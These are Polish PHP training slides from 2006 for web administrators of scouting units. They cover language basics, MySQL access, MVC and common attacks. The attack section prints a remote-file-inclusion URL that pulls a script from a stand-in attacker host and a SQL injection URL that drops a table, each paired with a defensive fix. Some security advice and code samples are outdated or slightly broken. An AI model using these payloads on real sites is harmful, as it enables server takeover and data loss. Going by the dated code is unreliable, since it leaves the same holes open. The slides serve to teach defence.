Programowanie. Początki i rozwój programisty.

1. Programowanie.Początki i rozwój programisty. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP Chorzów 2006.11.25

2. Istota i sens programowania Umiejętność dobrego programowania aplikacji internetowych ma wpływ na: • Łatwość poruszania się w świecie nowoczesnych technologii • Możliwość bycia niezależnym w pewnych obszarach informatyki • Możliwość tworzenia autorskich aplikacji • Możliwość samodzielnego rozwoju aplikacji • Możliwość informatyzacji niektórych procesów i procedur • Zwiększenie funkcjonalności stron internetowych • Wzrost efektywności, wydajności i efektowności aplikacji • Wzrost zainteresowania prowadzonymi serwisami internetowymi • Wzrost oglądalności prowadzonych stron WWW • Posiadanie przyszłościowych perspektyw

3. Przygotowanie do programowania aplikacji internetowych

4. Wybór języka programowania Wybrane języki umożliwiające tworzenie aplikacji internetowych: • ASP • CGI • JSP • Ruby • PHP – PHP Hypertext Preprocessor

5. Najczęstszy Schemat działania aplikacji PHP

6. Wybór serwera HTTP Serwery, z którymi może współpracować PHP: • Zeus • OmniHTTPd • Xitami • IIS • Apache

7. Wybór bazy danych Bazy danych obsługiwane przez PHP: • FrontBase • Firebird/Interbase • Informix • Ingres II • mSQL • MS SQL • Oracle • ODBC • Sysbase • PostgreSQL • MySQL

8. Wybór oprogramowania do obsługi bazy danych Wybrane narzędzia: • phpMyAdmin • MySQL Gui Tools • Migration toolkit • Query browser • Administrator • Workbench • System Tray Monitor • Navicat

9. Wybór edytora Wybrane edytory: • Notatnik • Edit plus • Pajączek 5 NxG Pro Część ważnych funkcji dobrych edytorów: • Kolorowanie składni • Numerowanie linii • Praca w zakładkach • Zaawansowane przeszukiwanie pliku/plików • Masowe operacje na plikach • Zarządzanie projektami/serwisami • Duże możliwości konfiguracyjne

10. Instalacja oprogramowania na serwerze Wybrane gotowe pakiety instalacyjne: • Fox serv • PHP Triad • Krasnal Większość pakietów najczęściej instaluje w komputerze serwer HTTP wraz z PHP i bazą danych, które zaraz po instalacji są gotowe do użycia.

11. Rozpoczynanie programowania,podstawy PHP

12. Skrypty PHP Skrypty PHP najczęściej posiadają rozszerzenie *.php i są tworzone przy pomocy dowolnego edytora tekstów. Skrypty PHP mogą być zwykłymi plikami, w których zagnieżdżone są instrukcje PHP. Parser PHP wykonuje kod, który znajduje się pomiędzy instrukcjami . Oto przykład: Trzy razy trzy jest <?php echo(3 * 3) ?>

13. Komentarze Komentarze są elementem składni obecnym w każdym języku programowania. Komentarze to sposób, aby zawrzeć w kodzie źródłowym własne przemyślenia, pomysły dotyczące kodu, czy też prawa autorskie. Przeważnie są stosowane do opisu kodu, wytycznych, co robi dana linia. Komentarze są całkowicie ignorowane przez interpreter. Istnieje kilka sposób komentowania kodu. <?php echo 'Hello World!'; // przywitanie # to jest komentarz /* a to jest komentarz, który może się znajdować w wielu liniach */ ?>

14. Instrukcje Programowanie opiera się na stosowaniu instrukcji języka, czytelnych dla parsera. W większości języków programowania jest tak, że instrukcje musza być oddzielone od siebie znakiem średnika (;). Przykład: <?php echo 3 * 3; echo 4 * 3; echo('Hello World!'); ?>

15. Typy danych Pomimo tego, że PHP jest bardzo elastyczny, do jednej zmiennej możemy przypisać dowolne dane, to istnieje możliwość ustalenia typu wcześniej. W językach takich jak C, czy Delphi przy deklaracji zmiennej musimy określić jej typ, czy będzie to liczba, czy tekst itd. PHP rozpoznaje następujące typy danych: · boolean – tzw. boolowski (true lub false); · integer – liczba całkowita; · float – liczba zmiennoprzecinkowa; · string – łańcuch znaków; · array – tablica; · object – obiekt; · resource – zasoby;

16. Zmienne Zmienne to kolejny element dostępny praktycznie w każdym języku programowania. Stanowi on swoisty pojemnik na dane. W każdym momencie możemy zadeklarować zmienną, przypisać jej dane, aby później ów dane odczytać. Zmienne w PHP deklaruje się w bardzo prosty sposób, z użyciem znaku dolara ($). PHP, w przeciwieństwie do innych języków programowania, nie wymaga określania typu zmiennej. Oznacza to, że jedna zmienna może zawierać dane w postaci liczbowej, tekstowej lub logicznej. Przypisanie danych do zmiennej odbywa się przy pomocy operatora przypisania (=). Przykład: <?php $zmienna1 = 10; $zmienna2 = 'Tekst'; $zmienna3 = true; echo $zmienna2; ?>

17. Operatory Operatory służą do manipulacji danymi. Dzielą się na kilka kategorii. • Operatory arytmetyczne ( + - * / ) • Operatory przypisania ( = += .= itd. ) • Operatory porównania ( == <> === != > < <= >= ) • Operatory bitowe ( & | ^ ~ << >> ) • Operatory logiczne ( and or xor ! && || ) • Operatory łańcuchowe ( = .=) • Operatory inkrementacji i dekrementacji ( ++ -- ) • Operatory kontroli błędów ( @ )

18. Instrukcje warunkowe

19. Instrukcje if, else, elseif Podstawową instrukcją warunkową jest if, która wykonuje dane działania w zależności, do tego, czy podany warunek zostanie spełniony. Często tworzy się bloki także z wykorzystaniem instrukcji else oraz elseif. Blok instrukcji może posiadać taką konstrukcję: if (warunek) {instrukcja} elseif(kolejny warunek) {instrukcja} else {instrukcja} Wraz z instrukcjami warunkowymi, bardzo często wykorzystywane są operatory logiczne oraz porównania: <?php $var = true; if ($var == true) { echo 'Zmienna $var posiada wartość true'; } elseif($var < ‘4’) { echo 'Zmienna $var nie posiada wartości true i jej wartość jest mniejsza od liczby 4'; } else { echo 'Zmienna $var nie posiada wartości true, a jej wartość nie jest mniejsza od liczby 4'; } ?>

20. Instrukcja Switch Instrukcja switch używana jest przeważnie w przypadkach, gdy mamy do czynienia z wyliczeniem wielu możliwych działań w zależności od uzyskanej wartości. Stosuje się ją w przypadkach, które wymagałyby wielu instrukcji if. Przykładowa instrukcja switch: <?php $jezyk = 'pl'; switch ( $jezyk ) { case 'pl': $powitanie = 'Witaj!'; break; case 'en': $powitanie = 'Welcome!'; break; case 'de': $powitanie = 'Willkommen!'; default: $powitanie = 'Witaj!'; } echo $powitanie; ?>

21. Pętle

22. Pętla while Pętla while jest najprostsza pętla oferowana w PHP. Przed wykonaniem sprawdza warunek jej zakończenia i jeżeli zostaje on spełniony – nie wykonuje żadnych instrukcji. Jeżeli warunek nie zostanie spełniony wykonuje instrukcje z ciała pętli do momentu spełnienia warunku. Oto budowa pętli while: while (warunek) { instrukcje; } <?php $i = 0; // deklarujemy zmienną (licznik) while ( $i <10 ) // wykonuj dopóki zmienna $i jest mniejsza od 10 { $i++; // zwieksz licznik o 1 } echo "Pętla została wykonana $i razy."; ?>

23. Pętla do ... while Pętla do ... while jest bardzo podobna do pętli while. W zasadzie jedyna różnicą jest fakt, iż warunek zakończenia pętli sprawdzany jest na końcu, a nie na początku, jak to ma miejsce przy pętli while. Oznacza to, że pętla zawsze, zostanie wykonana, co najmniej raz. Przykład: <?php $bool = false; do { echo 'Witaj!'; } while ($bool); ?>

24. Pętla for Pętla for zasadniczo różni się od wspomnianych wcześniej pętli. W pierwszym wierszu pętli znajdują się wszystkie wyrażenia kontrolujące: for (wyraenie1; wyraenie2; wyraenie3) { instrukcje; } Przykład: <?php for ($i = 1; $i <= 10;$i++) { echo"Napis nr $i<br/>"; } ?>

25. Funkcje Idea programowania proceduralnego zaczęła się pojawiać wraz z bardziej zaawansowanymi programami. Tradycyjny moduł projektowania nie sprawdzał się dobrze, gdy programy zaczęły być bardziej skomplikowane – wówczas ich konserwacja i naprawianie błędów było niezwykle trudne. Ktoś mądry wymyślił wtedy, że można by było program dzielić na mniejsze części – tzw. procedury. Taką procedurę można zawrzeć w funkcji i wywoływać wielokrotnie. Przykład: <?php function Fahrenheit( $Celsius ) { return ( $Celsius * 9/5 + 32 ); } $Celcius = 30; echo "$Celcius stopni Celsjusza to " . Fahrenheit($Celcius) . " stopni Fahrenheita"; ?>

26. Manual PHP Manual PHP, jest to swego rodzaju Vademecum, w którym można znaleźć dokumentację całego opisywanego języka wraz z przykładami. Istnieje również możliwość przeglądania strony w polskiej wersji językowej. Manual jest dostępny na oficjalnej stronie PHP pod adresem http://www.php.net . Można go także ściągnąć z wymienionej strony w wersji off-line.

27. Najczęściej stosowane schematy programowania • Programowanie strukturalne (ang. Structural Programming) • Programowanie zorientowane obiektowo (ang. Object Oriented Programming)

28. Wykorzystanie baz danych w aplikacjach • Wykorzystanie bazy danych w aplikacjach wymaga znajomości strukturalnego języka zapytań SQL • Baza danych usprawnia organizację serwisów internetowych posiadających dużą ilość informacji • Istnieje możliwość operacji na danych • Dodawanie • Edycja • Usuwanie • Przeszukiwanie • Sortowanie • Dynamiczne porcjowanie • Archiwizowanie • Zabezpieczanie • Możliwość integracji z różnymi systemami • Bazę danych można projektować z wykorzystaniem odpowiednich narzędzi

29. Komunikacja z bazą danych MySQL w PHP Prosty przykład obrazujący komunikację z bazą danych MySQL za pośrednictwem PHP: <?php $polaczenie = mysql_connect('localhost', 'uzytkownik', 'haslo'); $wybranaBaza = mysql_select_db('mojabaza',);     if($polaczenie)     {        print 'Połączenie nawiązane<br/>';        if($wybranaBaza)        {            print 'Baza wybrana'; $zapytanie = mysql_query('SELECT id, nazwa FROM tabela'); $tablica = mysql_fetch_array($zapytanie);            print '<br/>Pobrane dane: '; print_r($tablica);        }        else        {            print 'Nie można wybrać bazy<br/>';        } }    else    {        print 'Nie można nawiązać połączenia';    } mysql_close($polaczenie); ?>

30. Programowanie zaawansowanych aplikacji w PHP

31. Ogólny proces projektowania złożonego systemu Diagramy klas Diagramy aktywności Diagramy przebiegu Diagramy stanów Diagramy komponentów i instalacji Ustalanie wymagań jakie ma spełniać projekt Tworzenie specyfikacji systemu Sporządzanie Diagramów (UML) Wprowadzanie poprawek Faza testowania Budowa systemu Sporządzanie szkieletu aplikacji Finalizacja pracy Sporządzanie dokumentacji systemu

32. Zestaw często używanych narzędzi Podczas tworzenia aplikacji internetowych korzysta się ze stałych rozwiązań i komponentów, dlatego warto przygotować sobie zestaw często używanych elementów, w celu zwiększenia wydajności i efektywności systemu, a także szybkości tworzenia projektu. Główne elementy podstawowego szkieletu aplikacji, czyli tzw. framework-a • Sterownik bazy danych • Szkielet kontrolera i elementów sterujących • Szkielet uniwersalnej warstwy modelu • Szkielet uniwersalnej warstwy widoku • System szablonów • Dodatkowe komponenty

33. Frameworki Framework to szkielet aplikacji, który można wykorzystywać do tworzenia własnych projektów. Nic też nie stoi na przeszkodzie, aby napisać własnego frameworka, co jest nawet bardziej wskazane. Wszystkie aplikacje tego typu są napisane obiektowo i korzystają z tzw. wzorców projektowych. Istnieją duże, otwarte projekty programistyczne mające na celu tworzenie i rozwijanie frameworków. Niektóre z nich to: • Mojavi • PHP Cake

34. Wzorce projektowe Wzorce projektowe są to koncepcje programistyczne usprawniające proces projektowania i funkcjonowania aplikacji oraz rozwiązujące niektóre problemy, z którymi borykają się programiści. Jednym z najbardziej popularnych wzorców jest MVC. Model-View-Controller (Model-Widok-Sterownik). Schemat MVC: Różne formy prezentacji danych Różne źródła danych Użytkownik Pobieranie danych i operacje na nich Model Sterownik Widok Przesyłanie i zapisywanie danych Przesyłanie danych

35. Wybrane ataki na aplikacje i ochrona przed nimi

36. Cross Site Scripting (XSS) XSS jest to technika przechwytywania informacji wykorzystująca możliwość przesyłania danych sterujących (najczęściej kodu HTML lub poleceń języka JavaScript) do innego klienta serwera HTTP interpretującego te dane jako pochodzące z zaufanego źródła (zaufane źródło to np. twórcy danego serwisu WWW).

37. XSS – brak filtracji danych Często brak filtracji danych pochodzących z formularzy na stronie umożliwia uszkodzenie struktury wizualnej strony lub umieszczenie złośliwego kodu JavaScript. Przykładowy, wypełniony formularz może wyglądać tak: Natomiast efektem braku filtracji danych będzie wyświetlenie się, w miejscu przechowywania konkretnych wpisów, komunikatu: W celu zapobiegania włączania kodu w taki sposób, należy stosować funkcję htmlentities(), która odpowiednio przekształca znaczniki.

38. XSS – włączanie zewnętrznego kodu do aplikacji server-side Czasami dane znajdujące się w adresie nie są filtrowane, a czasem także bezpośrednio z niego sczytywane, co również umożliwia potencjalny atak. Przykładowe kody, umożliwiające atak mogą wyglądać następująco: 1) http://www.przykladowastrona.pl/plik.php?id=<h1>Przykładowy tekst</h1> W przypadku, gdy strona wyświetla dane pochodzące bezpośrednio z adresu, kod <h1>Przykładowy tekst</h1> zostanie wyświetlony na stronie. 2) http://www.przykladowastrona.pl/plik.php?id=http://strona-hakera.pl/skrypt.txt W przypadku, gdy strona włącza dane pochodzące z plików i nie filtruje adresu, jest możliwe włączenie dowolnego kodu PHP z zewnątrz i jego wykonanie na serwerze ofiary. Osoba atakująca uzyskuje wtedy praktycznie pełne prawa do operacji na plikach strony (tworzenie, edycja, usuwanie).

39. SQL Injection Atak typu SQL injection polega na ingerowaniu w zapytania SQL, co umożliwia operacje w bazie danych Przykładowy kod: http://www.przykladowastrona.pl/plik.php?id=1;DROP%20TABLE%20informacje;-- Jeżeli wartość zmiennej o nazwie id jest częścią jakiegoś zapytania, które nie jest odpowiednio zabezpieczone, zostanie usunięta tabela o nazwie informacje. Znak średnika (;) oznacza zakończenie jednego zapytania do bazy. Po nim można rozpocząć kolejne, które wygląda w tym przypadku następująco: DROP TABLE informacje; To zapytanie usuwa z bazy tabelę o nazwie informacje. Kończy je średnik, po którym następuje znak rozpoczęcia komentarza SQL (--), co oznacza, że dalsza część kodu SQL, który mógł zostać zamieszczony w pliku, nie wykona się. Łatwym sposobem na uchronienie się przed tego typu atakami, jest stosowanie funkcji mysql_escape_string() oraz definiowanie typów danych.

40. Cookie poisoning Atak typu cookie poisoning polega na odpowiednim preparowaniu plików ciasteczek (cookie), które są zapisywane w komputerze odwiedzającego daną stronę internetową. Modyfikacja ciasteczek może umożliwić, w przypadku źle napisanych aplikacji, uzyskanie uprawnień administratora bez znajomości jego hasła przez osoby do tego nie uprawnione. W celu zabezpieczenia się przed tym należy nie przechowywać uprawnień administracyjnych w plikach cookie. Należy tam zawierać jedynie login i zahaszowane hasło użytkownika, a następnie porównywać je z danymi znajdującymi się w bazie danych, po czym nadawać uprawnienia na podstawie tejże bazy.

41. Przechwytywanie sesji Sesje, podobnie jak cookie, pozwalają na przechowywanie danych w plikach, z tym wyjątkiem, że owe pliki są zapisywane w katalogach systemowych na serwerze, a nie na dysku komputera odwiedzającego stronę. Sesje mają także krótki czas życia, a cookie mogą być aktualne bardzo długo. Słabo zabezpieczone serwery pozwalają na przeglądanie swoich katalogów systemowych. Można to robić z poziomu PHP. Czasem jest także dostęp do katalogu z sesjami. Posiadając identyfikator sesji można np. uzyskać uprawnienia administracyjne dla jakiejś strony. Należy także wiedzieć (lub ewentualnie zgadnąć) jaki identyfikator odpowiada interesującej nas stronie i czy jakiś administrator jest tam aktualnie zalogowany. Przykładem na słabe zabezpieczenie serwera jest serwis http://freefronthost.com oferujący darmowy hosting. Na tym serwerze można przeglądać pliki znajdujące się w wyższych katalogach niż własne konto, w tym także sesji, co stwarza potencjalne niebezpieczeństwo. Rozwiązaniem tego problemu może być stworzenie własnego mechanizmu sesji.

42. Sposoby wykorzystania PHP • Projektowanie stron internetowych • Kontrola procesów systemowych (głównie w systemach typu UNIX) • Inne zastosowania PHP daje bardzo szerokie możliwości. Sposób, w jaki wykorzysta się ten język zależy wyłącznie od własnej kreatywności.

43. Projektowanie chat bota W PHP można stworzyć namiastkę sztucznej inteligencji w postaci chat bota, którego następnie można zintegrować z IRC botem, który również może być napisany w PHP.

44. Zarządzanie komputerem przez telefon komórkowy Kolejną rzeczą, jaką można stworzyć w PHP, jest aplikacja pozwalająca na zarządzanie komputerem przez telefon komórkowy.

45. Tworzenie arkuszy MS Excel PHP pozwala także na generowanie arkuszy MS Excel. Jest to przydatne przy dynamicznej prezentacji danych pochodzących np. z bazy danych. Stworzenie takiego arkusza jest bardzo proste. Polega to na wysłaniu odpowiedniego dla aplikacji Excel nagłówka do przeglądarki, a następnie wstawieniu tabeli w formacie HTML. Oto przykład: <?php header("Content-type: application/vnd.ms-excel"); echo‘<html><head></head><body>’; echo‘<table><tr><td>komórka nr 1</td><td>Komórka nr 2</td></tr>’; echo‘</table>’; ?>

46. Poszukiwanie dalszych informacji.Pomocne adresy WWW i książki 1. Podstawowe strony 1.1. http://www.php.net 1.2. http://www.php.net/manual/pl/ 2. Polskie strony 2.1. http://www.php.pl 2.2. http://www.forum.php.pl 2.3. http://www.wiki.php.pl 2.4. http://www.php5.pl 2.5. http://www.webhelp.pl 2.6. http://www.4programmes.net 2.7. http://www.strefaphp.net 2.8. http://www.webcity.pl 2.9. http://www.krasnal.tk 2.10. http://www.phpsolmag.org 2.11. http://advajax.anakin.us 3. Zagraniczne (angielskie) strony 3.1. http://www.patternsforphp.com/ 3.2. http://www.phppatterns.com/ 3.3. http://www.sitepoint.com 3.4. http://adaptivepath.com 4. Strony dotyczące bazy danych MySQL 4.1. http://mysql.com/ 4.2. http://dev.mysql.com/downloads/ 4.3. http://webcity.pl/webcity/kursy.php?k=mysql 4.4. http://www.navicat.com 5. Literatura 5.1. PHP 4 – Ćwiczenia praktyczne oraz PHP 5 – Ćwiczenia praktyczne 5.2. PHP 5 – Zaawansowane programowanie 5.3. Inne książki dobrych wydawnictw (np. Helion) http://helion.pl/search.cgi?szukaj=php

47. Dziękuję za uwagę Piotr Wittchen <piotr.wittchen@slaska.zhp.pl>